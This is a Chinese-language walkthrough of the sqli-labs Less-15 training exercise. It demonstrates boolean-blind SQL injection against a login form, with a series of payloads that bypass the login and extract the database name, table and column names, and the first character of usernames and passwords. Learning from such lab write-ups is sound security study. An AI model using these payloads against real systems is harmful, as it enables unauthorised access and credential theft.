sqli-labs/Less-15

这一关有点不一样了 这一关用前几关那样子的判断注入点是不行了

所以我们使用万能密码去完成注入点的判断

输入如下

1' or 1=1#

回显如下

然后我们去佐证一下自己的想法

输入如下

1' or 1=1#

回显如下

说明我们的判断是正确的

接下来进入各种爆破操作了 首先我们得完成方法的选择 既然正确是不能成功回显 错误是也不能成工回显报错信息的话 那么只能进行布尔盲注或者是时间注入 这里我们选择布尔盲注来解决问题

然后我们进行爆库的长度操作

输入如下

1' or length(database())>7#

这句话的回显显示成功登录

然后在进行二次输入 输入如下

1' or length(database())>8#

这句话的回显显示的登陆失败

然后我们进行爆库的首字母的名称

输入如下

1' or ascii(substr(database(),1,1))=115#

回显成功 所以这个首字母对应的ascii码值为115 解码后得到首字母为s

接下来 爆表的数量

输入如下

1' or (select count(table_name) from information_schema.tables where table_schema=database())=4;#

回显成功登录 所以当前数据库中的表格数量为4个

爆第一张表的名称个数

输入如下

1' or (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6;#

回显成功登录 所以第一张表格的名称个数为6个

爆第一张表的名称

输入如下

1' or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101;#

回显成功登录 嗨嗨 挺顺利的

接下来进行爆字段的操作了

爆字段的个数

输入如下

1' or (select count(column_name) from information_schema.columns where table_name='users' and table_schema=database())=3;#

回显成功登录 嗨嗨 当前数据库中的字段数为3个

爆第一个字段的名称个数

输入如下

1' or (select length(column_name) from information_schema.columns where table_name='users' and table_schema=database() limit 0,1)=2;#

成功显示登录 然后我们知道第一个字段的名称个数为2

然后进行第一个字段的首字母的获取工作

输入如下

1' or ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105;#

显示成功登录 说明第一个字段的首字母对应的ascii码值为105 所以首字母为i

然后在进行最后的操作 那就是进行用户名和密码的首字母

1' or ascii(substr((select group_concat(username,password) from users),1,1))=68;#

正确显示并显示成功登录 说明第一个用户名的首字母为D

我没一个步骤都是进行一部分的演示 还有其他部分由于太多就不进行演示了 我推荐大家可以进行通过脚本来进行剩余部分的获取 详情可以参考我编写的脚本编写文章

成功了嗨嗨!!!

你可能感兴趣的:(数据库,sql,mysql)